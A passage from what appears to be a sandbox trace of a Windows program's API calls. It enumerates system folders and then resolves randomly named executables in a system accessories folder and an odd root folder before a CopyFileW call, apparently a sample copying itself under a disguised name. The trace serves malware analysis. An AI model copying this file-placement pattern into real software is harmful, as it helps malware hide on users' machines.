lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0160.285] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xbd8bb9c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbd8bb9c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0160.285] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0160.285] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0160.285] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0160.285] FindClose (in: hFindFile=0x1a9d8fc0 | out: hFindFile=0x1a9d8fc0) returned 1 [0160.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0160.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0160.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0160.286] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0160.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\*" (normalized: "c:\\program files\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8fc0 [0160.287] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f317170, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f317170, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.287] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x96f46f30, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f46f30, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0160.287] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0160.287] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96ed4b10, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96ed4b10, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0160.287] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x96fb9350, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96fb9350, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0160.287] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd56ee620, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd56ee620, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd56ee620, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0160.287] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x972b2ed0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x972b2ed0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0160.287] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x22c91e20, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x22c91e20, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0160.287] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x96f6d090, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f6d090, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0160.287] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96f20dd0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f20dd0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0160.288] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x95c62090, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x95c62090, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0160.288] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x95e04fb0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x95e04fb0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0160.288] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96f931f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96f931f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0160.288] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0160.288] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96efac70, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96efac70, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0160.288] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96fb9350, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x96fb9350, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0160.288] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eb25fda, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eb25fda, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0160.288] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49bb8a40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49bb8a40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0160.288] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0160.288] FindClose (in: hFindFile=0x1a9d8fc0 | out: hFindFile=0x1a9d8fc0) returned 1 [0160.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0160.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0160.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0160.289] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows NT", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Windows NT", lpFilePart=0x0) returned 0x1b [0160.290] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\*" (normalized: "c:\\program files\\windows nt\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8fc0 [0160.290] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.290] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0160.290] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0160.290] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0160.290] FindClose (in: hFindFile=0x1a9d8fc0 | out: hFindFile=0x1a9d8fc0) returned 1 [0160.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0160.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0160.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0160.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Windows NT\\Accessories", lpFilePart=0x0) returned 0x27 [0160.291] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*" (normalized: "c:\\program files\\windows nt\\accessories\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8fc0 [0160.292] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.292] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0160.292] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e3a861e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9e3a861e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9e7acb45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x45f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0160.292] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 1 [0160.292] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea54dff0, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xea54dff0, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x464289e0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordpadFilter.dll", cAlternateFileName="")) returned 0 [0160.292] FindClose (in: hFindFile=0x1a9d8fc0 | out: hFindFile=0x1a9d8fc0) returned 1 [0160.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0160.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0160.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0160.292] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Windows NT\\Accessories\\en-US", lpFilePart=0x0) returned 0x2d [0160.293] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\*" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8fc0 [0160.293] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0160.294] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 1 [0160.294] FindNextFileW (in: hFindFile=0x1a9d8fc0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe421d16, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe421d16, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="wordpad.exe.mui", cAlternateFileName="")) returned 0 [0160.294] FindClose (in: hFindFile=0x1a9d8fc0 | out: hFindFile=0x1a9d8fc0) returned 1 [0160.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0160.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0160.296] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe", lpFilePart=0x0) returned 0x41 [0160.297] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0160.297] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe", lpFilePart=0x0) returned 0x41 [0160.297] CopyFileW 